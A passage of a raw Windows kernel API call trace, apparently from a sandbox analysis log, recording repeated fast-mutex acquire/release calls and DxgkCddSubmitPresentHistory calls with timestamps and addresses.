ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.517] DxgkCddSubmitPresentHistory () returned 0x0 [0126.529] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.529] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.529] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.529] DxgkCddSubmitPresentHistory () returned 0x0 [0126.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.544] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.544] DxgkCddSubmitPresentHistory () returned 0x0 [0126.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.578] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000134fb80) [0126.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.578] DxgkCddSubmitPresentHistory () returned 0x0 [0126.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.578] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.578] DxgkCddSubmitPresentHistory () returned 0x0 [0126.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.609] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.609] DxgkCddSubmitPresentHistory () returned 0x0 [0126.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.609] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.609] DxgkCddSubmitPresentHistory () returned 0x0 [0126.638] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.638] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000134fb80) [0126.638] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.638] DxgkCddSubmitPresentHistory () returned 0x0 [0126.638] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.638] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.638] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.638] DxgkCddSubmitPresentHistory () returned 0x0 [0126.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.671] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.671] DxgkCddSubmitPresentHistory () returned 0x0 [0126.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.671] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.671] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.671] DxgkCddSubmitPresentHistory () returned 0x0 [0126.703] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.703] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000134fb80) [0126.703] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.703] DxgkCddSubmitPresentHistory () returned 0x0 [0126.703] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.703] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.704] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.704] DxgkCddSubmitPresentHistory () returned 0x0 [0126.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.716] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.716] DxgkCddSubmitPresentHistory () returned 0x0 [0126.732] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.732] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.732] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.732] DxgkCddSubmitPresentHistory () returned 0x0 [0126.763] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.763] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000134fb80) [0126.763] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000134fb80) [0126.763] DxgkCddSubmitPresentHistory () returned 0x0 [0126.763] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.763] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.763] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.763] DxgkCddSubmitPresentHistory () returned 0x0 [0126.795] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.795] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.795] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.795] DxgkCddSubmitPresentHistory () returned 0x0 [0126.795] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.795] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.795] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.795] DxgkCddSubmitPresentHistory () returned 0x0 [0126.810] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.810] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.810] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.810] DxgkCddSubmitPresentHistory () returned 0x0 [0126.810] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.810] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.810] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.810] DxgkCddSubmitPresentHistory () returned 0x0 [0126.857] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.857] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.857] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.857] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.857] DxgkCddSubmitPresentHistory () returned 0x0 [0126.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.862] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000013c7e20) [0126.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0126.862] DxgkCddSubmitPresentHistory () returned 0x0 [0126.891] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.891] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.891] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.891] DxgkCddSubmitPresentHistory () returned 0x0 [0126.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.922] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.922] DxgkCddSubmitPresentHistory () returned 0x0 [0126.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.922] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.922] DxgkCddSubmitPresentHistory () returned 0x0 [0126.945] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.945] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.945] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.945] DxgkCddSubmitPresentHistory () returned 0x0 [0126.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.960] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000013c7e20) [0126.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0126.960] DxgkCddSubmitPresentHistory () returned 0x0 [0126.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.961] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0126.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.961] DxgkCddSubmitPresentHistory () returned 0x0 [0126.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.961] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.961] DxgkCddSubmitPresentHistory () returned 0x0 [0126.976] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.976] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0126.976] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0126.976] DxgkCddSubmitPresentHistory () returned 0x0 [0127.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.015] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.015] DxgkCddSubmitPresentHistory () returned 0x0 [0127.049] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.049] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0127.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0127.050] DxgkCddSubmitPresentHistory () returned 0x0 [0127.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000013c7e20) [0127.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0127.050] DxgkCddSubmitPresentHistory () returned 0x0 [0127.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.050] DxgkCddSubmitPresentHistory () returned 0x0 [0127.062] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.062] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.062] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.062] DxgkCddSubmitPresentHistory () returned 0x0 [0127.093] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.093] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.093] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.093] DxgkCddSubmitPresentHistory () returned 0x0 [0127.109] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.109] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0127.109] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0127.109] DxgkCddSubmitPresentHistory () returned 0x0 [0127.109] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.109] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000013c7e20) [0127.109] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0127.109] DxgkCddSubmitPresentHistory () returned 0x0 [0127.109] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.109] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.109] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.109] DxgkCddSubmitPresentHistory () returned 0x0 [0127.140] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.140] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.140] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.140] DxgkCddSubmitPresentHistory () returned 0x0 [0127.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.155] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.156] DxgkCddSubmitPresentHistory () returned 0x0 [0127.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.171] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0127.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0127.171] DxgkCddSubmitPresentHistory () returned 0x0 [0127.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.171] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000013c7e20) [0127.171] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0127.171] DxgkCddSubmitPresentHistory () returned 0x0 [0127.172] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.172] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.172] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.172] DxgkCddSubmitPresentHistory () returned 0x0 [0127.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.207] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0127.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0127.207] DxgkCddSubmitPresentHistory () returned 0x0 [0127.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.207] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.207] DxgkCddSubmitPresentHistory () returned 0x0 [0127.218] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.218] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.218] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.218] DxgkCddSubmitPresentHistory () returned 0x0 [0127.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.273] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0127.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0127.273] DxgkCddSubmitPresentHistory () returned 0x0 [0127.281] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.281] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.281] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.281] DxgkCddSubmitPresentHistory () returned 0x0 [0127.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.336] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.337] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.337] DxgkCddSubmitPresentHistory () returned 0x0 [0127.344] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.344] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.344] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.344] DxgkCddSubmitPresentHistory () returned 0x0 [0127.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.382] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.382] DxgkCddSubmitPresentHistory () returned 0x0 [0127.390] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.390] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.390] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.390] DxgkCddSubmitPresentHistory () returned 0x0 [0127.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.431] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.431] DxgkCddSubmitPresentHistory () returned 0x0 [0127.454] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.454] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.454] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.454] DxgkCddSubmitPresentHistory () returned 0x0 [0127.470] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.470] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.470] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.470] DxgkCddSubmitPresentHistory () returned 0x0 [0127.486] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.486] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.486] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.486] DxgkCddSubmitPresentHistory () returned 0x0 [0127.527] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.527] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.527] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.527] DxgkCddSubmitPresentHistory () returned 0x0 [0127.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.542] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.542] DxgkCddSubmitPresentHistory () returned 0x0 [0127.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.558] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.558] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.558] DxgkCddSubmitPresentHistory () returned 0x0 [0127.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.607] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.607] DxgkCddSubmitPresentHistory () returned 0x0 [0127.623] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.623] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.623] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.623] DxgkCddSubmitPresentHistory () returned 0x0 [0127.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.655] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.655] DxgkCddSubmitPresentHistory () returned 0x0 [0127.687] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.687] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.687] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.687] DxgkCddSubmitPresentHistory () returned 0x0 [0127.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.719] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0127.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0127.719] DxgkCddSubmitPresentHistory () returned 0x0 [0128.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.714] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0128.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.714] DxgkCddSubmitPresentHistory () returned 0x0 [0128.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.714] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0128.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0128.714] DxgkCddSubmitPresentHistory () returned 0x0 [0128.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.714] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0128.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.714] DxgkCddSubmitPresentHistory () returned 0x0 [0128.734] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.734] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0128.734] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.734] DxgkCddSubmitPresentHistory () returned 0x0 [0128.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.749] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0128.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.749] DxgkCddSubmitPresentHistory () returned 0x0 [0128.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.749] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0128.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.749] DxgkCddSubmitPresentHistory () returned 0x0 [0128.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.793] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0128.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.793] DxgkCddSubmitPresentHistory () returned 0x0 [0128.809] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.809] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0128.809] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.809] DxgkCddSubmitPresentHistory () returned 0x0 [0128.809] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.809] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0128.809] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.809] DxgkCddSubmitPresentHistory () returned 0x0 [0128.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.825] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0128.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.825] DxgkCddSubmitPresentHistory () returned 0x0 [0128.841] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.841] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0128.841] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.841] DxgkCddSubmitPresentHistory () returned 0x0 [0128.857] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.857] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0128.857] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.857] DxgkCddSubmitPresentHistory () returned 0x0 [0128.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.880] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0128.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0128.880] DxgkCddSubmitPresentHistory () returned 0x0 [0128.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.967] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000111b790) [0128.967] 